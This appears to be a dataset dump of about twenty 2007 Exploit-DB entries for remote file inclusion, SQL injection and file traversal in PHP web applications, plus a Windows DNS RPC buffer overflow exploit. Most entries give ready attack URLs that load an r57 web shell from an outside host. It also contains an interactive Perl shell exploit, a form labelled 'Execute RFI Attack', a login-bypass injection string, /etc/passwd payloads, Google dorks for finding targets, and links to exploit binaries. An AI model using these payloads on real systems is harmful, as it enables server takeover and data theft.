QLWD/code_shield huggingface dataset:
标题: Microsoft Windows - DNS RPC Remote Buffer Overflow (2) EDB-ID: 3746 CVE: 2007-1748 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-18 漏洞利用脚本: Exploit v2 features:
  - Target Remote port 445 (by default but requires auth)
  - Manual target for dynamic tcp port (without auth)
  - Automatic search for dynamic dns rpc port
  - Local and remote OS fingerprinting (auto target)
  - Windows 2000 server and Windows 2003 server (Spanish) supported by default
  - Fixed bug with Windows 2003 Shellcode
  - Universal local exploit for Win2k (automatic search for opcodes)
  - Universal local and remote exploit for Win2k3 (/GS bypassed only with DEP disabled)
  - Added targets for remote win2k English and italian (not tested, found with metasploit opcode database. please report your owns)
  - Microsoft RPC api used ( who cares? :p )


D:\ProgramaciÃƒÂ³n\DNSTEST>dnstest
 --------------------------------------------------------------
 Microsoft Dns Server local & remote RPC Exploit code
 Exploit code by Andres Tarasco & Mario Ballano
 Tested against Windows 2000 server SP4 and Windows 2003 SP2
 --------------------------------------------------------------

 Usage:   dnstest -h 127.0.0.1 (Universal local exploit)
          dnstest -h host [-t id] [-p port]
 Targets:
      0 (0x30270b0b) - Win2k3 server SP2 Universal - (default for win2k3)
      1 (0x79467ef8) - Win2k  server SP4 Spanish -   (default for win2k )
      2 (0x7c4fedbb) - Win2k  server SP4 English
      3 (0x7963edbb) - Win2k  server SP4 Italian
      4 (0x41414141) - Windows all Denial of Service


D:\ProgramaciÃƒÂ³n\DNSTEST>dnstest.exe -h 192.168.1.2
 --------------------------------------------------------------
 Microsoft Dns Server local & remote RPC Exploit code
 Exploit code by Andres Tarasco & Mario Ballano
 Tested against Windows 2000 server SP4 and Windows 2003 SP2
 --------------------------------------------------------------

[+] Trying to fingerprint target.. (05.02)
[+] Remote Host identified as Windows 2003
[-] No port selected. Trying Ninja sk1llz
[+] Binding to ncacn_ip_tcp: 192.168.1.2
[+] Found 50abc2a4-574d-40b3-9d66-ee4fd5fba076 version 5.0
[+] RPC binding string: ncacn_ip_tcp:192.168.1.2[1105]
[+] Dynamic DNS rpc port found (1105)
[+] Connecting to 50abc2a4-574d-40b3-9d66-ee4fd5fba076@ncacn_ip_tcp:192.168.1.2[1105]
[+] RpcBindingFromStringBinding success
[+] Sending Exploit code to DnssrvOperation()
[+] Now try to connect to port 4444


also available at

http://514.es/Microsoft_Dns_Server_Exploit_v2.1.zip
http://www.48bits.com/exploits/dnsxpl.v2.1.zip 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3746.zip (04172007-dnsxpl.v2.1.zip)

# milw0rm.com [2007-04-18] URL: https://www.exploit-db.com/exploits/3746
标题: Anthologia 0.5.2 - 'index.php?ads_file' Remote File Inclusion EDB-ID: 3751 CVE: 2007-2094 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-17 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                      ANTHOLOGIA 0.5.2 
-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Author :   Dj7xpl / Dj7xpl[at]Yahoo[dot]com
* Type :     Remote File Inclusion Vuln
* Download:  http://www.dbfweb.com/download/anthologia-last.tgz
* Page:      http://www.dbfweb.com/anthology.htm
* Vuln:      index.php?ads_file=http://[EvilSite]/Evil.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-17] URL: https://www.exploit-db.com/exploits/3751
标题: Joomla! / Mambo Component New Article 1.1 - Remote File Inclusion EDB-ID: 3736 CVE: 2007-2089 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-14 漏洞利用脚本: =======================================================
Mambo/Joomla Component New Article Component <= 1.1 (absolute_path) Multiple 
RFI
=======================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
=======================================================
Homepage: www.Hack-Teach.com
=======================================================
Script Site : 
http://www.jxdevelopment.com/component/option,com_remository/Itemid,0/func,fileinfo/id,4/
==============================================
File : /components/com_articles.php
include($absolute_path.'/language/'.$lang.'/lang_com_articles.php');     <= 
Line 65
======
http://site/joomla_path/components/com_articles.php?absolute_path=http://nachrichtenmann.de/r57.txt?
========================================================
File : /classes/html/com_articles.php
include($absolute_path.'/language/'.$lang.'/lang_articles.php');     <= Line 
24
======
http://site/joomla_path/classes/html/com_articles.php?absolute_path=http://nachrichtenmann.de/r57.txt?
=========================================================


#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-14] URL: https://www.exploit-db.com/exploits/3736
标题: LS Simple Guestbook 1.0 - Remote Code Execution EDB-ID: 3735 CVE: 2007-2093 2007-2092 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-14 漏洞利用脚本: ########################################################
#   Special Greetings To - Timq,Warpboy,The-Maggot     #
########################################################

File: index.php
Affects: LS simple guestbook (v1)
Date: 15th April 2007

Issue Description:
===========================================================================
LS simple guestbook fails to sanitize user input that it writes to the
posts.txt file when the user leaves a message, this file is then included
causing any php code within it to be run.
===========================================================================

Scope:
===========================================================================
An attacker can inject arbitrary php code and potentially execute commands
on the system.
===========================================================================

Recommendation:
===========================================================================
Add the following line of code in index.php:

$message = strip_tags($message);

just above:

if ($message != "") {$file = fopen("$dataf","a");
===========================================================================


Example:

name = Test
message = <?php phpinfo(); ?>


Discovered By: Gammarays

# milw0rm.com [2007-04-14] URL: https://www.exploit-db.com/exploits/3735
标题: Pixaria Gallery 1.x - 'class.Smarty.php' Remote File Inclusion EDB-ID: 3733 CVE: 2007-2458 2007-2457 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-14 漏洞利用脚本: Pixaria Gallery 1.x (class.Smarty.php) Remote File Include Vulnerability

-----------------------------------------------------------------------------------------
# scripts            : Pixaria Gallery 1.x
# Discovered By : irvian
# scripts site      : http://pixaria.com/
# Thanks To       : #hitamputih  #nyubicrew  #patihack
# special To       : nyubi,ibnusina,arioo,jipank,kacung,trangkil,cah_gemblunkz
# dork                : powered by Pixaria. Gallery
------------------------------------------------------------------------------------------
bug found:

/resources/includes/class.Smarty.php
// Load the main Smarty class
require_once ($cfg['sys']['base_path'] . "resources/smarty/libs/Smarty.class.php");


Exploit: http://www.target.com/resources/includes/class.Smarty.php?cfg[sys][base_path]=[evilcode] 

# milw0rm.com [2007-04-14] URL: https://www.exploit-db.com/exploits/3733
标题: Garennes 0.6.1 - 'repertoire_config' Remote File Inclusion EDB-ID: 3732 CVE: 2007-2298 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-13 漏洞利用脚本: # Garennes 0.6.1 <= Remote File Include Vulnerablites
# D.Script: https://adullact.net/frs/download.php/672/garennes-easyphp-0.6.1.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/cpe/index.php?repertoire_config=Shell
# Exploit:[Path]/direction/index.php?repertoire_config=Shell
# Exploit:[Path]/professeurs/index.php?repertoire_config=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group

# milw0rm.com [2007-04-13] URL: https://www.exploit-db.com/exploits/3732
标题: Joomla! Component module autostand 1.0 - Remote File Inclusion EDB-ID: 3734 CVE: 2007-2319 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-14 漏洞利用脚本: =======================================================
Joomla Module AutoStand Category <= 1.1 Remote File include Vulnerabilities
=======================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
=======================================================
Homepage: www.Hack-Teach.com
=======================================================
Script Site : 
http://www.joomlafrance.org/telecharger/startdown/AutoStand_Category.html
=======================================================
Description: its a joomla module Shows the categories created
=======================================================

File : /mod_as_category/mod_as_category.php
#  include($mosConfig_absolute_path . 
"/components/com_autostand/languages/portuguese.php  <= line 10

# Don't allow direct acces to the file
  defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not 
allowed.' ); <= line  21+22
========================================================
/modules/mod_as_category/mod_as_category.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/modules/mod_as_category.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
=======================================================



#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-14] URL: https://www.exploit-db.com/exploits/3734
标题: Quick and Dirty Blog (qdblog) 0.4 - SQL Injection / Local File Inclusion EDB-ID: 3729 CVE: 2007-2305 2007-2304 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-13 漏洞利用脚本: .      .        .  
._ | _.  .|_  _. _.;_/
[_)|(_]\_|[ )(_](_.| \.net
|      ._|            
"QDBlog v0.4 - MULTIPLE VULNERABILITIES"
 by Omni

1) Infos
---------
Date            : 2007-04-12
Product         : QDBlog
Version         : v0.4 - Prior version maybe also be affected
Vendor          : http://sourceforge.net/projects/qdblog/
Vendor Status   : 2007-04-12 -> Not Informed!

Description     : QDBlog is an open-source, simple, minimalistic blogging solution. It makes use of PHP and MySQL. It is
                  tiny (goal size is <50kb), and flexible. It designed to be based around choice. However it is
                  more targeted toward the adept user/web master.

Source          : omnipresent - omni
E-mail          : omnipresent[at]email[dot]it - omni[at]playhack[dot]net
Team            : Playhack.net Security

2) Security Issues
-------------------

--- [ SQL Injection - Admin Access Bypass ] ---
===============================================

[ authenticate.php Script - Line 7 - 9 ]

$sql = "SELECT permissions, username FROM $prefix"."auth WHERE username = '" . $_POST['username'] . "' AND password =
MD5('".$_POST['wordpass']."');";

 $query = mysql_query($sql, $conn);

[ end script aithenticate.php ]

As we can see the variables passed with POST method from login.php to authenticate.php (username and password) are not
properly sanitized before being used, so an attacker can inject SQL code and gain access to the administration pannel.

--- [ PoC ] ---
===============

Put in the username field (in login.php) a code like 1' OR '1' = '1' # and in the password filed what you want.
Click.. login and.. have fun :D  

--- [ Local File Inclusion ] ---
================================

There are some security problem, concerning Local File Inclusion, in lots of files of this PHP Blog; for example in
index.php as shown below:

[ categories.php script - Line 2 ]

include("themes/$theme/cat_top.php");

[ end index.php script ]

$theme is not properly sanitized before being used so an attacker can include other files for eg /etc/passwd.

--- [ PoC ] ---
===============

http://remote_host/qdblog/categories.php?theme=../../../../../../../etc/passwd%00


Take again a look to categories.php:
  
in this file there is "an other vulnerability", File Traversal:
 
   Line 3 : $file1 = fopen("themes/$theme/cat_mid.html", "r");



---- [ Patch ] ----

Edit the source code to ensure that the input is validated.

# milw0rm.com [2007-04-13] URL: https://www.exploit-db.com/exploits/3729
标题: WebKalk2 1.9.0 - 'absolute_path' Remote File Inclusion EDB-ID: 3717 CVE: 2007-2307 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-12 漏洞利用脚本: # WebKalk2 1.9.0 Remote File Include Vulnerablity
# D.Script: http://www.linuxdelta.de/uploads/media/webkalk2-1.9.0.tar.gz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/engine/engine.inc.php?absolute_path=Shell.txt?
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# ThanX  To: G0T-ROOT.Net & bd0rk ;)

# milw0rm.com [2007-04-12] URL: https://www.exploit-db.com/exploits/3717
标题: Request It 1.0b - 'index.php?id' Remote File Inclusion EDB-ID: 3723 CVE: 2007-2015 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-12 漏洞利用脚本: Request It : Song Request System 1.0b - remote file inclusion

Software: Request It : Song Request System
Type: remote file inclusion
Version: 1.0b
Date: 2007-04-09
Url: http://scripts.ringsworld.com/organizers/requestit/
Risc: middle

------------------------------------
Credit:

http://hackberry.ath.cx
mail[AT]hackberry.ath.cx

------------------------------------
Vulnerability:

http://[target]/?id=[REMOTEFILE]

------------------------------------
Google dork:

"[ Request us to play you a song ]"

# milw0rm.com [2007-04-12] URL: https://www.exploit-db.com/exploits/3723
标题: RicarGBooK 1.2.1 - 'lang' Local File Inclusion EDB-ID: 3718 CVE: 2007-2050 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-12 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

                       RicarGBooK 1.2.1 

-=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Author :

            Dj7xpl / Dj7xpl[at]Yahoo[dot]com

* Type :

            Local File Inclusion Vulnerabilitiy By Cookie

* Download :

            http://ricargbook.adrielmedia.com

-=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Vuln Code :       -=-= Header.php =-=-


if (isset($HTTP_COOKIE_VARS["lang"])) {
 $guest_lang = $HTTP_COOKIE_VARS["lang"];
 include ('languages/'.$guest_lang);
} else {
 $guest_lang = $language;
 include ('languages/'.$language);

-=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Vuln And Example Picture :

            Edit Cookie :

            Server :  http://[Target]   
     Name   :  lang
     Value  :  Local File      E.g   :  ../../../../etc/passwd
   
   
     [X] http://dj7xpl.by.ru/r1.jpg
     [X] http://dj7xpl.by.ru/r2.jpg
   
-=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

# Sp Tnx : str0ke

# milw0rm.com [2007-04-12] URL: https://www.exploit-db.com/exploits/3718
标题: Expow 0.8 - 'autoindex.php?cfg_file' Remote File Inclusion EDB-ID: 3722 CVE: 2007-2302 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-12 漏洞利用脚本: Expow 0.8 File manager  Autoindex.php (cfg_file) Remote File Inclusion Vulnerability
__________________________________________________________________________
found by : mdx
--------------------------------------------------------------------------
Download script : http://sourceforge.net/project/downloading.php?group_id=29595&use_mirror=kent&filename=expow-0.8.tar.gz&92927218
--------------------------------------------------------------------------
file name : autoindex.php
__________________________________________________________________________
Ãncluded line ;

  if (!include($cfg_file))

__________________________________________________________________________
Exploit :

http://site.com/[path]/autoindex.php?cfg_file=shellmdx.txt?

# milw0rm.com [2007-04-12] URL: https://www.exploit-db.com/exploits/3722
标题: mxBB Module MX Shotcast 1.0 RC2 - 'getinfo1.php' Remote File Inclusion EDB-ID: 3716 CVE: 2007-2313 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-12 漏洞利用脚本: #!/usr/bin/perl
#
#mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) Remote File Include Exploit
# 
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, DarkFig
#
#Vulnerable Code: include_once($mx_root_path . 'common.'.$phpEx);
#
#Vendor: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=342

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'getinfo1.php?mx_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to MXShotcast ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-04-12] URL: https://www.exploit-db.com/exploits/3716
标题: Mambo Module Weather - 'absolute_path' Remote File Inclusion EDB-ID: 3712 CVE: 2007-2044 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-11 漏洞利用脚本: ============================================================
Mambo/Joomla Module Weather (absolute_path) Remote File include Vuln
============================================================
Found By : Cold z3ro , Cold-z3ro@Hotmail.com
============================================================
Homepage: www.Hack-Teach.com
============================================================
Script :
http://www.joomlaos.de/option,com_remository/Itemid,41/func,download/id,47/chk,a39037e15bb5cd125f3cfd9dccaec6f5/no_html,1.html
============================================================
File : /mod_weather.php
include($absolute_path.'/language/'.$lang.'/lang_mod_weather.php');
============================================================
http://site/{path}/modules/mod_weather.php?absolute_path=http://nachrichtenmann.de/r57.txt?
============================================================


#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-11] URL: https://www.exploit-db.com/exploits/3712
标题: Joomla! Component mosmedia 1.0.8 - Remote File Inclusion EDB-ID: 3714 CVE: 2007-2043 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-11 漏洞利用脚本: - com_mosmedia for Mambo & Jommla <= Remote File Include Vulnerability
- Exloit :
- /components/com_mosmedia/media.tab.php?mosConfig_absolute_path=r57.txt?
- /components/com_mosmedia/media.divs.php?mosConfig_absolute_path=r57.txt?
- Page Script :
- http://mamboxchange.com/frs/download.php/5577/com_mosmedia_laithai.zip
- Thanx : Tryag.Com/cc  &  Asb-May.Net/bb

# milw0rm.com [2007-04-11] URL: https://www.exploit-db.com/exploits/3714
标题: Mambo Module Calendar (Agenda) 1.5.5 - Remote File Inclusion EDB-ID: 3713 CVE: 2007-2049 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-11 漏洞利用脚本: ==================================================================
Mambo module Calendar (Agenda) <= 155 (com_calendar.php) Multiple RFI Vuln
==================================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
==================================================================
Homepage: www.Hack-Teach.com
==================================================================
Script :
http://www2.tutorial.hu/letoltes/dl.php?p=/scriptek/joomla/mambo.4.0.x/Calendar&i=agenda-155.zip
==================================================================
File : /com_calendar.php
include($absolute_path.'/components/calendar/cal_config.php');
==================================================================
/components/calendar/com_calendar.php?absolute_path=http://nachrichtenmann.de/r57.txt?
/modules/calendar/mod_calendar.php?absolute_path=http://nachrichtenmann.de/r57.txt?
Or
/components/com_calendar.php?absolute_path=http://nachrichtenmann.de/r57.txt?
/modules/mod_calendar.php?absolute_path=http://nachrichtenmann.de/r57.txt?
==================================================================


#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-11] URL: https://www.exploit-db.com/exploits/3713
标题: CodeBreak 1.1.2 - 'codebreak.php' Remote File Inclusion EDB-ID: 3711 CVE: 2007-1996 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-11 漏洞利用脚本: <!--

CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability

Google d0rk: intitle:"CodeBreak - Hidden Morse Code"

Vulnerable Code: include($_POST["process_method"] . "_" . $_POST["output_method"] . ".inc");

John Martinelli
john@martinelli.com
http://john-martinelli.com

April 11th, 2007

!-->

<html>
<head><title>CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability</title><body>

<center><br><br><font size=4>CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=intitle%3A%22CodeBreak+-+Hidden+Morse+Code">intitle:"CodeBreak - Hidden Morse Code"</a></font><br>

<br><br>
<form action="http://www.target.com/codebreak.php" method="post">
<input name="input_text" size=75 value="input_text" type=hidden>
<input name="process_method" size=75 value="http://bad.site/badcode.txt?">
<input type=submit value="Execute RFI Attack" class="button">
</form>

</body></html>

# milw0rm.com [2007-04-11] URL: https://www.exploit-db.com/exploits/3711
标题: Joomla! / Mambo Component Taskhopper 1.1 - Remote File Inclusion EDB-ID: 3703 CVE: 2007-2005 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: ==================================================
Joomla/Mambo Component Taskhopper 1.1 (/inc/  mosConfig_absolute_path) RFI
==================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
==================================================
Homepage: www.Hack-Teach.com
==================================================
Script Site : http://taskhopper.com/One1
==================================================
/components/com_thopper/inc/contact_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/itemstatus_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/projectstatus_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/request_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/responses_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/timelog_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/urgency_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
==================================================


#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-10] URL: https://www.exploit-db.com/exploits/3703